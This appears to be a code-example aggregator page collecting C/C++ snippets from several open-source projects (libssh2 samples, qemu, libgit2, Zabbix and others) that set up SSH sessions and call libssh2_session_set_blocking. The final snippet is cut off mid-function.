예제 #1
1
파일: ssh.c 프로젝트: 3mao/stool
int ssh_init(SSH * pSsh, char * pIp,char * pUsername, char * pPassword)
{
	int ret;
	int type;
	const char * fingerprint;
	 size_t len;
	if (NULL==pSsh)
	{
		return 0;
	}
	
	pSsh->sock_fd=socket(AF_INET, SOCK_STREAM, 0);
	pSsh->sin.sin_family = AF_INET;
	pSsh->sin.sin_port = htons(22);
	pSsh->sin.sin_addr.s_addr = inet_addr(pIp);

	ret = libssh2_init (0);
	if (ret != 0) {
		fprintf (stderr, "libssh2 initialization failed (%d)\n", ret);
		return 1;
	}

	if (connect(pSsh->sock_fd, (struct sockaddr*)(&pSsh->sin),
		sizeof(struct sockaddr_in)) != 0) {
			fprintf(stderr, "failed to connect!\n");
			return -1;
	}

	pSsh->session=libssh2_session_init();

	if (!pSsh->session)
		return 0;

	libssh2_session_set_blocking(pSsh->session, 0);

	while ((ret = libssh2_session_handshake(pSsh->session, pSsh->sock_fd)) ==
		LIBSSH2_ERROR_EAGAIN);
	if (ret) {
		fprintf(stderr, "Failure establishing SSH session: %d\n", ret);
		return -1;
	}


	pSsh->nh = libssh2_knownhost_init(pSsh->session);
	if(!pSsh->nh) {
		/* eeek, do cleanup here */
		return 2;
	}

	libssh2_knownhost_readfile(pSsh->nh, "known_hosts",
		LIBSSH2_KNOWNHOST_FILE_OPENSSH);
	libssh2_knownhost_writefile(pSsh->nh, "dumpfile",
		LIBSSH2_KNOWNHOST_FILE_OPENSSH);

	fingerprint = libssh2_session_hostkey(pSsh->session, &len, &type);
	if(fingerprint) {
		struct libssh2_knownhost *host;
		int check = libssh2_knownhost_checkp(pSsh->nh, pIp, 22,
			fingerprint, len,
			LIBSSH2_KNOWNHOST_TYPE_PLAIN|
			LIBSSH2_KNOWNHOST_KEYENC_RAW,
			&host);
		fprintf(stderr, "Host check: %d, key: %s\n", check,
                (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)?
                host->key:"<none>");

        /*****
         * At this point, we could verify that 'check' tells us the key is
         * fine or bail out.
         *****/
    }
    else {
        /* eeek, do cleanup here */
        return 3;
    }
    libssh2_knownhost_free(pSsh->nh);

    if ( strlen(pPassword) != 0 ) {
        /* We could authenticate via password */
        while ((ret = libssh2_userauth_password(pSsh->session, pUsername, pPassword)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (ret) {
            fprintf(stderr, "Authentication by password failed.\n");
            //goto shutdown;
        }
    }
    else {
        /* Or by public key */
        while ((ret = libssh2_userauth_publickey_fromfile(pSsh->session, pUsername,
                                                         "/home/user/"
                                                         ".ssh/id_rsa.pub",
                                                         "/home/user/"
                                                         ".ssh/id_rsa",
                                                         pPassword)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (ret) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            //goto shutdown;
        }
    }

	fprintf(stderr,"ssh_init\n");
	return 0;
}
예제 #2
1
파일: ssh2_exec.c 프로젝트: karelia/libssh2
int main(int argc, char *argv[])
{
    const char *hostname = "127.0.0.1";
    const char *commandline = "uptime";
    const char *username    = "******";
    const char *password    = "******";
    unsigned long hostaddr;
    int sock;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    LIBSSH2_CHANNEL *channel;
    int rc;
    int exitcode;
    char *exitsignal=(char *)"none";
    int bytecount = 0;
    size_t len;
    LIBSSH2_KNOWNHOSTS *nh;
    int type;

#ifdef WIN32
    WSADATA wsadata;
    int err;

    err = WSAStartup(MAKEWORD(2,0), &wsadata);
    if (err != 0) {
        fprintf(stderr, "WSAStartup failed with error: %d\n", err);
        return 1;
    }
#endif

    if (argc > 1)
        /* must be ip address only */
        hostname = argv[1];

    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if (argc > 4) {
        commandline = argv[4];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    hostaddr = inet_addr(hostname);

    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance */
    session = libssh2_session_init();
    if (!session)
        return -1;

    /* tell libssh2 we want it all done non-blocking */
    libssh2_session_set_blocking(session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    while ((rc = libssh2_session_handshake(session, sock)) ==
            LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    nh = libssh2_knownhost_init(session);
    if(!nh) {
        /* eeek, do cleanup here */
        return 2;
    }

    /* read all hosts from here */
    libssh2_knownhost_readfile(nh, "known_hosts",
                               LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    /* store all known hosts to here */
    libssh2_knownhost_writefile(nh, "dumpfile",
                                LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    fingerprint = libssh2_session_hostkey(session, &len, &type);
    if(fingerprint) {
        struct libssh2_knownhost *host;
#if LIBSSH2_VERSION_NUM >= 0x010206
        /* introduced in 1.2.6 */
        int check = libssh2_knownhost_checkp(nh, hostname, 22,
                                             fingerprint, len,
                                             LIBSSH2_KNOWNHOST_TYPE_PLAIN|
                                             LIBSSH2_KNOWNHOST_KEYENC_RAW,
                                             &host);
#else
        /* 1.2.5 or older */
        int check = libssh2_knownhost_check(nh, hostname,
                                            fingerprint, len,
                                            LIBSSH2_KNOWNHOST_TYPE_PLAIN|
                                            LIBSSH2_KNOWNHOST_KEYENC_RAW,
                                            &host);
#endif
        fprintf(stderr, "Host check: %d, key: %s\n", check,
                (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)?
                host->key:"<none>");

        /*****
         * At this point, we could verify that 'check' tells us the key is
         * fine or bail out.
         *****/
    }
    else {
        /* eeek, do cleanup here */
        return 3;
    }
    libssh2_knownhost_free(nh);

    if ( strlen(password) != 0 ) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password)) ==
                LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "Authentication by password failed.\n");
            goto shutdown;
        }
    }
    else {
        /* Or by public key */
        while ((rc = libssh2_userauth_publickey_fromfile(session, username,
                     "/home/user/"
                     ".ssh/id_rsa.pub",
                     "/home/user/"
                     ".ssh/id_rsa",
                     password)) ==
                LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

#if 0
    libssh2_trace(session, ~0 );
#endif

    /* Exec non-blocking on the remove host */
    while( (channel = libssh2_channel_open_session(session)) == NULL &&
            libssh2_session_last_error(session,NULL,NULL,0) ==
            LIBSSH2_ERROR_EAGAIN )
    {
        waitsocket(sock, session);
    }
    if( channel == NULL )
    {
        fprintf(stderr,"Error\n");
        exit( 1 );
    }
    while( (rc = libssh2_channel_exec(channel, commandline)) ==
            LIBSSH2_ERROR_EAGAIN )
    {
        waitsocket(sock, session);
    }
    if( rc != 0 )
    {
        fprintf(stderr,"Error\n");
        exit( 1 );
    }
    for( ;; )
    {
        /* loop until we block */
        int rc;
        do
        {
            char buffer[0x4000];
            rc = libssh2_channel_read( channel, buffer, sizeof(buffer) );
            if( rc > 0 )
            {
                int i;
                bytecount += rc;
                fprintf(stderr, "We read:\n");
                for( i=0; i < rc; ++i )
                    fputc( buffer[i], stderr);
                fprintf(stderr, "\n");
            }
            else {
                if( rc != LIBSSH2_ERROR_EAGAIN )
                    /* no need to output this for the EAGAIN case */
                    fprintf(stderr, "libssh2_channel_read returned %d\n", rc);
            }
        }
        while( rc > 0 );

        /* this is due to blocking that would occur otherwise so we loop on
           this condition */
        if( rc == LIBSSH2_ERROR_EAGAIN )
        {
            waitsocket(sock, session);
        }
        else
            break;
    }
    exitcode = 127;
    while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN )
        waitsocket(sock, session);

    if( rc == 0 )
    {
        exitcode = libssh2_channel_get_exit_status( channel );
        libssh2_channel_get_exit_signal(channel, &exitsignal,
                                        NULL, NULL, NULL, NULL, NULL);
    }

    if (exitsignal)
        fprintf(stderr, "\nGot signal: %s\n", exitsignal);
    else
        fprintf(stderr, "\nEXIT: %d bytecount: %d\n", exitcode, bytecount);

    libssh2_channel_free(channel);
    channel = NULL;

shutdown:

    libssh2_session_disconnect(session,
                               "Normal Shutdown, Thank you for playing");
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    fprintf(stderr, "all done\n");

    libssh2_exit();

    return 0;
}
예제 #3
0
mx_channel_t *
mx_channel_direct_tcpip (mx_sock_session_t *session, mx_sock_t *client,
			 const char *desthost, unsigned destport)
{
    LIBSSH2_CHANNEL *channel;
    const char *shost = inet_ntoa(client->ms_sin.sin_addr);
    unsigned int sport = ntohs(client->ms_sin.sin_port);

    /* Must use blocking IO for channel creation */
    libssh2_session_set_blocking(session->mss_session, 1);

    channel = libssh2_channel_direct_tcpip_ex(session->mss_session,
					      desthost, destport,
					      shost, sport);

    libssh2_session_set_blocking(session->mss_session, 0);

    if (channel == NULL) {
        mx_log("could not open the direct-tcpip channel");
	return NULL;
    }

    mx_channel_t *mcp = mx_channel_create(session, client, channel);
    if (mcp == NULL) {
	/* XXX fail */
	return NULL;
    }

    return mcp;
}
예제 #4
0
LIBSSH2_SESSION *start_session_fixture()
{
    int rc;

    setup_fixture_workdir();

    rc = start_openssh_fixture();
    if(rc != 0) {
        return NULL;
    }
    rc = libssh2_init(0);
    if(rc != 0) {
        fprintf(stderr, "libssh2_init failed (%d)\n", rc);
        return NULL;
    }

    connected_session = libssh2_session_init_ex(NULL, NULL, NULL, NULL);
    libssh2_session_set_blocking(connected_session, 1);
    if(connected_session == NULL) {
        fprintf(stderr, "libssh2_session_init_ex failed\n");
        return NULL;
    }

    rc = connect_to_server();
    if(rc != 0) {
        return NULL;
    }

    return connected_session;
}
예제 #5
0
파일: ssh.c 프로젝트: Pating/qemu-colo
static int ssh_file_open(BlockDriverState *bs, QDict *options, int bdrv_flags,
                         Error **errp)
{
    BDRVSSHState *s = bs->opaque;
    int ret;
    int ssh_flags;

    ssh_state_init(s);

    ssh_flags = LIBSSH2_FXF_READ;
    if (bdrv_flags & BDRV_O_RDWR) {
        ssh_flags |= LIBSSH2_FXF_WRITE;
    }

    /* Start up SSH. */
    ret = connect_to_ssh(s, options, ssh_flags, 0, errp);
    if (ret < 0) {
        goto err;
    }

    /* Go non-blocking. */
    libssh2_session_set_blocking(s->session, 0);

    return 0;

 err:
    if (s->sock >= 0) {
        close(s->sock);
    }
    s->sock = -1;

    return ret;
}
예제 #6
0
파일: ssh.c 프로젝트: Nemchinovrp/sonic-pi
static int _git_ssh_session_create(
	LIBSSH2_SESSION** session,
	git_stream *io)
{
	int rc = 0;
	LIBSSH2_SESSION* s;
	git_socket_stream *socket = (git_socket_stream *) io;

	assert(session);

	s = libssh2_session_init();
	if (!s) {
		giterr_set(GITERR_NET, "failed to initialize SSH session");
		return -1;
	}

	do {
		rc = libssh2_session_startup(s, socket->s);
	} while (LIBSSH2_ERROR_EAGAIN == rc || LIBSSH2_ERROR_TIMEOUT == rc);

	if (rc != LIBSSH2_ERROR_NONE) {
		ssh_error(s, "failed to start SSH session");
		libssh2_session_free(s);
		return -1;
	}

	libssh2_session_set_blocking(s, 1);

	*session = s;

	return 0;
}
예제 #7
0
int logon(char* username, char* pass, LIBSSH2_SESSION **session, int sock)
{
    int rc;
    /* Create a session instance */
    if((*session = libssh2_session_init()) == NULL) return -1;
    //libssh2_session_set_blocking(*session, 0);
    libssh2_session_set_blocking(*session, 1);
    //while ((rc = libssh2_session_handshake(*session, sock)) == LIBSSH2_ERROR_EAGAIN);
    rc = libssh2_session_handshake(*session, sock);
    if(rc)
    {
        fprintf(stderr, "Failure establishing SSH session: %d %s\n", rc, strerror(errno));
        return -1;
    }
    
//    while ((rc = libssh2_userauth_password(*session, username, pass)) == LIBSSH2_ERROR_EAGAIN);
    rc = libssh2_userauth_password(*session, username, pass);
    if (rc) 
    {
        fprintf(stderr, "Authentication by password failed.\n");
        if(*session != NULL)
        {
            libssh2_session_disconnect(*session, "");
            libssh2_session_free(*session);
        }
        close(sock);
        libssh2_exit();
        return 0;
    }
}
예제 #8
0
void getClient(char * serverAddress) {
    int sockFd = makeSocketOrDie();
    struct addrinfo * serverInfo = getServerInfo(serverAddress);
	printf("Connecting to server\n");
    connectOrDie(sockFd, serverInfo);
	printf("Connected to server.  Making LIBSSH2 session\n");
    LIBSSH2_SESSION * session = makeSession();
    libssh2_session_set_blocking(session, 1);
	libssh2_session_set_timeout(session, 5000);
	printf("Made session, handshaking\n");
    int result = libssh2_session_handshake(session, sockFd);
    //const char * fingerprint = libssh2_hostkey_hash(session, LIBSSH_HOSTKEY_HASH_SHA1);
    //TODO: Match the fingerprint against something.
    if (result) {
		char * errorMessage;
		libssh2_session_last_error(session, &errorMessage, NULL, 0);
		fprintf(stderr, "Error %s handshaking\n", errorMessage);
		exit(EXIT_FAILURE);
	}
    printf("Handshake completed, making SFTP Session\n");
	libssh2_userauth_password(session, NETID, PWD);
    LIBSSH2_SFTP * sftpSession = makeSFTPSession(session);
	printf("Started SFTP - Downloading file\n");
    LIBSSH2_SFTP_HANDLE * fileHandle = libssh2_sftp_open(sftpSession, serverFilePath, LIBSSH2_FXF_READ, 0);
	readFile(session, sftpSession, fileHandle);
    libssh2_sftp_shutdown(sftpSession);
    libssh2_session_disconnect(session, "Done.\n");
    libssh2_session_free(session);
    freeaddrinfo(serverInfo);
    close(sockFd);
}
예제 #9
0
파일: connection.c 프로젝트: inso/mc
int
sftpfs_open_connection (struct vfs_s_super *super, GError ** error)
{
    int rc;
    sftpfs_super_data_t *super_data;

    super_data = (sftpfs_super_data_t *) super->data;

    /* Create a session instance */
    super_data->session = libssh2_session_init ();
    if (super_data->session == NULL)
        return -1;

    /*
     * The application code is responsible for creating the socket
     * and establishing the connection
     */
    super_data->socket_handle = sftpfs_open_socket (super, error);
    if (super_data->socket_handle == -1)
        goto deinit_by_error;

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    rc = libssh2_session_startup (super_data->session, super_data->socket_handle);
    if (rc != 0)
    {
        g_set_error (error, MC_ERROR, -1, _("sftp: Failure establishing SSH session: (%d)"), rc);
        goto deinit_by_error;
    }

    /* At this point we havn't yet authenticated.  The first thing to do
     * is check the hostkey's fingerprint against our known hosts Your app
     * may have it hard coded, may go to a file, may present it to the
     * user, that's your call
     */
    super_data->fingerprint = libssh2_hostkey_hash (super_data->session, LIBSSH2_HOSTKEY_HASH_SHA1);

    sftpfs_recognize_auth_types (super);

    if (!sftpfs_open_connection_ssh_agent (super, error)
        && !sftpfs_open_connection_ssh_key (super, error)
        && !sftpfs_open_connection_ssh_password (super, error))
        goto deinit_by_error;

    super_data->sftp_session = libssh2_sftp_init (super_data->session);

    if (super_data->sftp_session == NULL)
        goto deinit_by_error;

    /* Since we have not set non-blocking, tell libssh2 we are blocking */
    libssh2_session_set_blocking (super_data->session, 1);

    return 0;

  deinit_by_error:
    sftpfs_close_connection (super, "Shutdown with errors", NULL);
    return -1;
}
예제 #10
0
파일: ssh_lib.c 프로젝트: allspace/fexec
ssh_conn_t *ssh_connect(param_t *params)
{
	int rc;
    struct sockaddr_in sin;
	unsigned long hostaddr;
	ssh_conn_t *pcon = (ssh_conn_t*)malloc(sizeof(ssh_conn_t));
	
    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return NULL;
    }
	
    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
	hostaddr = inet_addr(params->hostname);
    pcon->sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(pcon->sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return NULL;
    }

    /* Create a session instance */
    pcon->session = libssh2_session_init();
    if (!pcon->session)
        return NULL;

    /* tell libssh2 we want it all done non-blocking */
    libssh2_session_set_blocking(pcon->session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    while ((rc = libssh2_session_handshake(pcon->session, pcon->sock)) ==
           LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return NULL;
    }

	return pcon;
shutdown:
	return NULL;
}	
예제 #11
0
파일: client.cpp 프로젝트: bytemaster/mace
        void client_d::connect() {
            try {
               if( libssh2_init(0) < 0  ) {
                 MACE_SSH_THROW( "Unable to init libssh2" );
               }
               
               slog( "resolve %1%:%2%", hostname, port );
               std::vector<mace::cmt::asio::tcp::endpoint> eps 
                 = mace::cmt::asio::tcp::resolve( hostname, boost::lexical_cast<std::string>(port));
               slog( "resolved %1% options", eps.size() );
               
               if( eps.size() == 0 ) {
                 MACE_SSH_THROW( "Hostname '%1%' didn't resolve to any endpoints", %hostname );
               }
               
               m_sock.reset( new boost::asio::ip::tcp::socket( mace::cmt::asio::default_io_service() ) );
               
               for( uint32_t i = 0; i < eps.size(); ++i ) {
                  try {
                    mace::cmt::asio::tcp::connect( *m_sock, eps[i] );
                    endpt = eps[i];
                    break;
                  } catch ( ... ) {}
               }

               slog( "Creating session" );

               m_session = libssh2_session_init(); 
               *libssh2_session_abstract(m_session) = this;


               BOOST_ASSERT( m_session );
               
               // use non-blocking calls so that we know when to call wait_on_socket
               libssh2_session_set_blocking( m_session, 0 );
               
               // perform the session handshake, and keep trying while EAGAIN
               int ec = libssh2_session_handshake( m_session, m_sock->native() );
               while( ec == LIBSSH2_ERROR_EAGAIN ) {
                 wait_on_socket();
                 ec = libssh2_session_handshake( m_session, m_sock->native() );
               }

               // if there was an error, throw it.
               if( ec < 0 ) {
                 char* msg;
                 libssh2_session_last_error( m_session, &msg, 0, 0 );
                 MACE_SSH_THROW( "Handshake error: %1% - %2%", %ec %msg );
               }
예제 #12
0
@return None";

static PyObject *
PYLIBSSH2_Session_setblocking(PYLIBSSH2_SESSION *self, PyObject *args)
{
    int mode;

    if (!PyArg_ParseTuple(args, "i", &mode)) {
        return NULL;
    }

    libssh2_session_set_blocking(self->session, mode);
    
    return Py_BuildValue("");
}
예제 #13
0
void cql_ccm_bridge_t::terminal_read_stream(cql_escape_sequences_remover_t& buffer, int stream) {
  char buf[128];

  while (true) {
    // disable blocking
    libssh2_session_set_blocking(_ssh_internals->_session, 0);

    ssize_t readed = libssh2_channel_read_ex(_ssh_internals->_channel, stream, buf, sizeof(buf));

    // return if no data to read
    if (readed == LIBSSH2_ERROR_EAGAIN || readed == 0) {
      return;
    }

    // some error occurred
    if (readed < 0) {
      throw cql_ccm_bridge_exception_t("error during reading from socket");
    }

    buffer.push_character_range(buf, buf + readed);
  }
}
예제 #14
0
파일: ssh.c 프로젝트: dmgctrl/libgit2
static int _git_ssh_session_create
(
	LIBSSH2_SESSION** session,
	gitno_socket socket
)
{
	if (!session) {
		return -1;
	}
	
	LIBSSH2_SESSION* s = libssh2_session_init();
    if (!s)
        return -1;
	
    int rc = 0;
    do {
        rc = libssh2_session_startup(s, socket.socket);
    } while (LIBSSH2_ERROR_EAGAIN == rc || LIBSSH2_ERROR_TIMEOUT == rc);
	
	if (0 != rc) {
        goto on_error;
    }
	
	libssh2_session_set_blocking(s, 1);
	
	*session = s;
	
	return 0;
	
on_error:
	if (s) {
		libssh2_session_free(s), s = NULL;
	}
	
	return -1;
}
예제 #15
0
파일: libssh2.cpp 프로젝트: ly20119/mooon
void CLibssh2::create_session(bool nonblocking)
{
    int socket_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (-1 == socket_fd)
    {
        THROW_SYSCALL_EXCEPTION(strerror(errno), errno, "socket");
    }

    try
    {
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(_port);
        addr.sin_addr.s_addr = inet_addr(_ip.c_str());

        if (-1 == connect(socket_fd, (struct sockaddr*)&addr, sizeof(struct sockaddr_in)))
        {
            THROW_SYSCALL_EXCEPTION(strerror(errno), errno, "connect");
        }

        // 创建ssh2会话
        LIBSSH2_SESSION* session = libssh2_session_init();
        if (nonblocking) // 设置为非阻塞
            libssh2_session_set_blocking(session, 0);
        else if (_timeout_seconds > 0)
            libssh2_session_set_timeout(session, _timeout_seconds*1000);

        _session = session;
        _socket_fd = socket_fd;
    }
    catch (...)
    {
        close(socket_fd);
        throw;
    }
}
예제 #16
0
/* example ssh.run["ls /"] */
static int	ssh_run(DC_ITEM *item, AGENT_RESULT *result, const char *encoding)
{
	const char	*__function_name = "ssh_run";
	zbx_sock_t	s;
	LIBSSH2_SESSION	*session;
	LIBSSH2_CHANNEL	*channel;
	int		auth_pw = 0, rc, ret = NOTSUPPORTED,
			exitcode, bytecount = 0;
	char		buffer[MAX_BUFFER_LEN], buf[16], *userauthlist,
			*publickey = NULL, *privatekey = NULL, *ssherr;
	size_t		sz;

	zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name);

	if (FAIL == zbx_tcp_connect(&s, CONFIG_SOURCE_IP, item->interface.addr, item->interface.port, 0))
	{
		SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot connect to SSH server: %s",
				zbx_tcp_strerror()));
		goto close;
	}

	/* initializes an SSH session object */
	if (NULL == (session = libssh2_session_init()))
	{
		SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot initialize SSH session"));
		goto tcp_close;
	}

	/* set blocking mode on session */
	libssh2_session_set_blocking(session, 1);

	/* Create a session instance and start it up. This will trade welcome */
	/* banners, exchange keys, and setup crypto, compression, and MAC layers */
	if (0 != libssh2_session_startup(session, s.socket))
	{
		libssh2_session_last_error(session, &ssherr, NULL, 0);
		SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot establish SSH session: %s", ssherr));
		goto session_free;
	}

	/* check what authentication methods are available */
	if (NULL != (userauthlist = libssh2_userauth_list(session, item->username, strlen(item->username))))
	{
		if (NULL != strstr(userauthlist, "password"))
			auth_pw |= 1;
		if (NULL != strstr(userauthlist, "keyboard-interactive"))
			auth_pw |= 2;
		if (NULL != strstr(userauthlist, "publickey"))
			auth_pw |= 4;
	}
	else
	{
		libssh2_session_last_error(session, &ssherr, NULL, 0);
		SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot obtain authentication methods: %s", ssherr));
		goto session_close;
	}

	zabbix_log(LOG_LEVEL_DEBUG, "%s() supported authentication methods:'%s'", __function_name, userauthlist);

	switch (item->authtype)
	{
		case ITEM_AUTHTYPE_PASSWORD:
			if (auth_pw & 1)
			{
				/* we could authenticate via password */
				if (0 != libssh2_userauth_password(session, item->username, item->password))
				{
					libssh2_session_last_error(session, &ssherr, NULL, 0);
					SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Password authentication failed: %s",
							ssherr));
					goto session_close;
				}
				else
					zabbix_log(LOG_LEVEL_DEBUG, "%s() password authentication succeeded",
							__function_name);
			}
			else if (auth_pw & 2)
			{
				/* or via keyboard-interactive */
				password = item->password;
				if (0 != libssh2_userauth_keyboard_interactive(session, item->username, &kbd_callback))
				{
					libssh2_session_last_error(session, &ssherr, NULL, 0);
					SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Keyboard-interactive authentication"
							" failed: %s", ssherr));
					goto session_close;
				}
				else
					zabbix_log(LOG_LEVEL_DEBUG, "%s() keyboard-interactive authentication succeeded",
							__function_name);
			}
			else
			{
				SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Unsupported authentication method."
						" Supported methods: %s", userauthlist));
				goto session_close;
			}
			break;
		case ITEM_AUTHTYPE_PUBLICKEY:
			if (auth_pw & 4)
			{
				if (NULL == CONFIG_SSH_KEY_LOCATION)
				{
					SET_MSG_RESULT(result, zbx_strdup(NULL, "Authentication by public key failed."
							" SSHKeyLocation option is not set"));
					goto session_close;
				}

				/* or by public key */
				publickey = zbx_dsprintf(publickey, "%s/%s", CONFIG_SSH_KEY_LOCATION, item->publickey);
				privatekey = zbx_dsprintf(privatekey, "%s/%s", CONFIG_SSH_KEY_LOCATION,
						item->privatekey);

				if (SUCCEED != zbx_is_regular_file(publickey))
				{
					SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot access public key file %s",
							publickey));
					goto session_close;
				}

				if (SUCCEED != zbx_is_regular_file(privatekey))
				{
					SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot access private key file %s",
							privatekey));
					goto session_close;
				}

				rc = libssh2_userauth_publickey_fromfile(session, item->username, publickey,
						privatekey, item->password);
				zbx_free(publickey);
				zbx_free(privatekey);

				if (0 != rc)
				{
					libssh2_session_last_error(session, &ssherr, NULL, 0);
					SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Public key authentication failed:"
							" %s", ssherr));
					goto session_close;
				}
				else
					zabbix_log(LOG_LEVEL_DEBUG, "%s() authentication by public key succeeded",
							__function_name);
			}
			else
			{
				SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Unsupported authentication method."
						" Supported methods: %s", userauthlist));
				goto session_close;
			}
			break;
	}

	/* exec non-blocking on the remove host */
	while (NULL == (channel = libssh2_channel_open_session(session)))
	{
		switch (libssh2_session_last_error(session, NULL, NULL, 0))
		{
			/* marked for non-blocking I/O but the call would block. */
			case LIBSSH2_ERROR_EAGAIN:
				waitsocket(s.socket, session);
				continue;
			default:
				SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot establish generic session channel"));
				goto session_close;
		}
	}

	dos2unix(item->params);	/* CR+LF (Windows) => LF (Unix) */
	/* request a shell on a channel and execute command */
	while (0 != (rc = libssh2_channel_exec(channel, item->params)))
	{
		switch (rc)
		{
			case LIBSSH2_ERROR_EAGAIN:
				waitsocket(s.socket, session);
				continue;
			default:
				SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot request a shell"));
				goto channel_close;
		}
	}

	for (;;)
	{
		/* loop until we block */
		do
		{
			if (0 < (rc = libssh2_channel_read(channel, buf, sizeof(buf))))
			{
				sz = (size_t)rc;
				if (sz > MAX_BUFFER_LEN - (bytecount + 1))
					sz = MAX_BUFFER_LEN - (bytecount + 1);
				if (0 == sz)
					continue;

				memcpy(buffer + bytecount, buf, sz);
				bytecount += sz;
			}
		}
		while (rc > 0);

		/* this is due to blocking that would occur otherwise so we loop on
		 * this condition
		 */
		if (LIBSSH2_ERROR_EAGAIN == rc)
			waitsocket(s.socket, session);
		else if (rc < 0)
		{
			SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot read data from SSH server"));
			goto channel_close;
		}
		else
			break;
	}

	buffer[bytecount] = '\0';
	SET_STR_RESULT(result, convert_to_utf8(buffer, bytecount, encoding));

	ret = SYSINFO_RET_OK;

channel_close:
	/* close an active data channel */
	exitcode = 127;
	while (0 != (rc = libssh2_channel_close(channel)))
	{
		switch (rc)
		{
			case LIBSSH2_ERROR_EAGAIN:
				waitsocket(s.socket, session);
				continue;
			default:
				libssh2_session_last_error(session, &ssherr, NULL, 0);
				zabbix_log(LOG_LEVEL_WARNING, "%s() cannot close generic session channel: %s",
						__function_name, ssherr);
				break;
		}
	}

	if (0 == rc)
		exitcode = libssh2_channel_get_exit_status(channel);
	zabbix_log(LOG_LEVEL_DEBUG, "%s() exitcode: %d bytecount: %d",
			__function_name, exitcode, bytecount);

	libssh2_channel_free(channel);
	channel = NULL;

session_close:
	libssh2_session_disconnect(session, "Normal Shutdown");

session_free:
	libssh2_session_free(session);

tcp_close:
	zbx_tcp_close(&s);

close:
	zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%s", __function_name, zbx_result_string(ret));

	return ret;
}
예제 #17
0
int FSSftp::CheckSession( int* err, FSCInfo* info )
{

	if ( sshSession ) { return 0; }

	try
	{

		unsigned ip;
		int e;

		if ( !GetHostIp( unicode_to_utf8( _operParam.server.Data() ).data(), &ip, &e ) )
		{
			throw int( e );
		}

		_sock.Create();
		_sock.Connect( ntohl( ip ), _operParam.port );

		sshSession = libssh2_session_init();

		if ( !sshSession ) { throw int( SSH_INTERROR_X3 ); }

		libssh2_session_set_blocking( sshSession, 0 );

		WHILE_EAGAIN_( e, libssh2_session_handshake( sshSession, _sock.Id() ) );

		if ( e ) { throw int( e - 1000 ); }

		FSString userName = "";

		if ( _operParam.user.Data()[0] )
		{
			userName = _operParam.user.Data();
		}
		else
		{
#ifndef _WIN32
			char* ret = getenv( "LOGNAME" );

			if ( ret )
			{
				userName = FSString( sys_charset_id, ret );
				_operParam.user = userName.GetUnicode();

				MutexLock infoLock( &infoMutex );
				_infoParam.user = userName.GetUnicode();
			}

#endif
		};

		char* authList = 0;

		char* charUserName = ( char* )userName.Get( _operParam.charset );

		while ( true )
		{
			authList = libssh2_userauth_list( sshSession, charUserName, strlen( charUserName ) );

			if ( authList ) { break; }

			CheckSessionEagain();
			WaitSocket( info );
		}


		//publickey,password,keyboard-interactive
		static const char passId[] = "password";
		static const char kInterId[] = "keyboard-interactive";


		static unicode_t userSymbol = '@';

		while ( true )
		{
			if ( !strncmp( authList, passId, strlen( passId ) ) )
			{
				FSPromptData data;
				data.visible = false;
